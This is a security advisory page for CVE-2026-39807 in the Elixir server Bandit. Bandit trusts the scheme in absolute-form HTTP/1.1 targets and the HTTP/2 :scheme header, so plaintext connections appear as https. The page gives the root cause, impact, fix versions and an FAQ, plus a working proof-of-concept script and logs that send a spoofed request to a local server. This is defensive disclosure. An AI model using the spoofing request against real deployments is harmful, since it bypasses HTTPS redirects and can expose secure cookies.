CVE-2026-39807: Client-supplied URI scheme trusted without transport verification in bandit

Published May 1, 2026
·
Updated

Summary Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details The bug is in lib/bandit/pipeline.ex at determinescheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determinescheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1 Host: 127.0.0.1:4321 Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

- Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely. - Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions. - Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

elixir Bandit reflects the client-supplied scheme into conn.scheme. lib/bandit/pipeline.ex:89 (determinescheme/2) returns whatever scheme appears on the request target, ignoring the secure? flag that records the actual transport state. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and HTTP/2 :scheme are both attacker-controlled strings that flow into this function. Over a plaintext connection, a client can claim https and Bandit hands a %Plug.Conn{scheme: :https} to the application — even though no TLS was negotiated. Downstream Plug consumers that branch on conn.scheme are misled: Plug.SSL's "already secure, don't redirect" path, secure: true cookie flagging, audit logs, CSRF/SameSite gating, etc. This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one HTTP/1.1 absolute-form request with scheme https://, and prints the conn.scheme the application observes. A fixed server should report :http (or reject the request); the buggy server reports :https. Run: elixir scripts/bandit/http1schemespoofing.exs

Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])

defmodule SchemeApp do @behaviour Plug def init(opts), do: opts

def call(conn, opts) do body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n" Plug.Conn.sendresp(conn, 200, body) end end

defmodule SchemeSpoof do @port 4321

def run do {:ok, } = Bandit.startlink(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

# Absolute-form request target with scheme "https" over a plaintext # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request; # nothing about it implies the connection is TLS. request = "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Connection: close\r\n" <> "\r\n"

log("Sending plaintext HTTP/1.1 request with absolute-form target https://…/.") :ok = :gentcp.send(sock, request)

{:ok, response} = :gentcp.recv(sock, 0, 5000) :gentcp.close(sock)

log("Server response:") IO.puts(response)

cond do response =~ "conn.scheme=:https" -> log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.") log("Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.")

response =~ "conn.scheme=:http" -> log("Server forced scheme to :http — bug appears patched.")

true -> log("Unexpected response shape.") end end

defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end

SchemeSpoof.run()

logs 12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target https://…/. [10:53:25.316] Server response: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 10:53:25 GMT content-length: 47 vary: accept-encoding cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket. [10:53:25.316] Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.

Other sources

Reliance on Untrusted Inputs in a Security Decision vulnerability in mtrudel bandit allows unauthenticated transport-state spoofing on plaintext HTTP connections.

'Elixir.Bandit.Pipeline':determinescheme/2 in lib/bandit/pipeline.ex returns the client-supplied URI scheme verbatim, ignoring the transport's secure? flag. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and the HTTP/2 :scheme pseudo-header are both attacker-controlled strings that flow through this function. Over a plaintext TCP connection, a client can declare https and Bandit will set conn.scheme = :https even though no TLS was negotiated.

Downstream Plug consumers that branch on conn.scheme are silently misled: Plug.SSL's already-secure branch skips its HTTP→HTTPS redirect, cookies emitted with secure: true are sent over plaintext, audit logs record requests as having arrived over HTTPS, and CSRF/SameSite gating may make incorrect decisions.

This issue affects bandit: from 1.0.0 before 1.11.0.

— MITRE

Affected Software

2 affected componentsFixes available
hex/bandit>=1.0.0<1.11.0
erlang/bandit>=1.0.0<1.11.0
1.11.0

Event History

May 1, 2026
CVE Published
via MITRE·08:34 PM
Data Sourced
via MITRE·08:34 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
May 7, 2026
Advisory Published
via GitHub·03:47 AM
Data Sourced
via GitHub·03:47 AM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-39807?

CVE-2026-39807 has a medium severity level due to the potential for transport-state spoofing on plaintext HTTP connections.

2

How do I fix CVE-2026-39807?

To mitigate CVE-2026-39807, upgrade the Bandit library to a version above 1.11.0.

3

Who is affected by CVE-2026-39807?

CVE-2026-39807 affects users of Bandit versions between 1.0.0 and 1.11.0.

4

What is the nature of CVE-2026-39807?

CVE-2026-39807 is a vulnerability that allows unauthenticated transport-state spoofing due to reliance on untrusted inputs.

5

What should I do if I cannot upgrade to fix CVE-2026-39807?

If unable to upgrade, consider implementing additional security measures such as enforcing HTTPS to protect against CVE-2026-39807.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203